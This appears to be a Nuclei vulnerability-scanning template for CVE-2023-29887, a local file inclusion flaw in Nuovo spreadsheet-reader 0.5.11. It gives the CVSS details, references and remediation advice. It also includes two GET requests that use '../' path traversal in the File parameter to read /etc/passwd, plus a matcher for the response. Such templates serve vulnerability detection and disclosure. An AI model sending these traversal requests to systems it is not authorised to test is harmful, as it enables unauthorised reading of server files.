漏洞描述
A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
id: CVE-2023-29887
info:
name: Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion
author: ctflearner
severity: high
description: |
A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and further compromise of the server.
remediation: |
Upgrade to a patched version of Nuovo Spreadsheet Reader or apply the vendor-provided fix to mitigate the Local File Inclusion vulnerability.
reference:
- https://research.hisolutions.com/2023/01/arbitrary-file-read-vulnerability-php-library-nuovo-spreadsheet-reader-0-5-11/
- https://github.com/nuovo/spreadsheet-reader/issues/169
- https://nvd.nist.gov/vuln/detail/CVE-2023-29887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-29887
cwe-id: CWE-22
epss-score: 0.86147
epss-percentile: 0.9936
cpe: cpe:2.3:a:nuovo:spreadsheet-reader:0.5.11:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 2
vendor: nuovo
product: spreadsheet-reader
tags: cve2023,cve,nuovo,spreadsheet-reader,lfi
http:
- method: GET
path:
- "{{BaseURL}}/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
- "{{BaseURL}}/nuovo/spreadsheet-reader/test.php?File=../../../../../../../../../../../etc/passwd"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 490a004630440220296d40782f2e9cce92bdaaee0f5aea4b27216d21e8425afd94d066dfe422ed780220595830a521fd6841efc254de4cf1c7826cd52811a5878317c08972473634673d:922c64590222798bb761d5b6d8e72950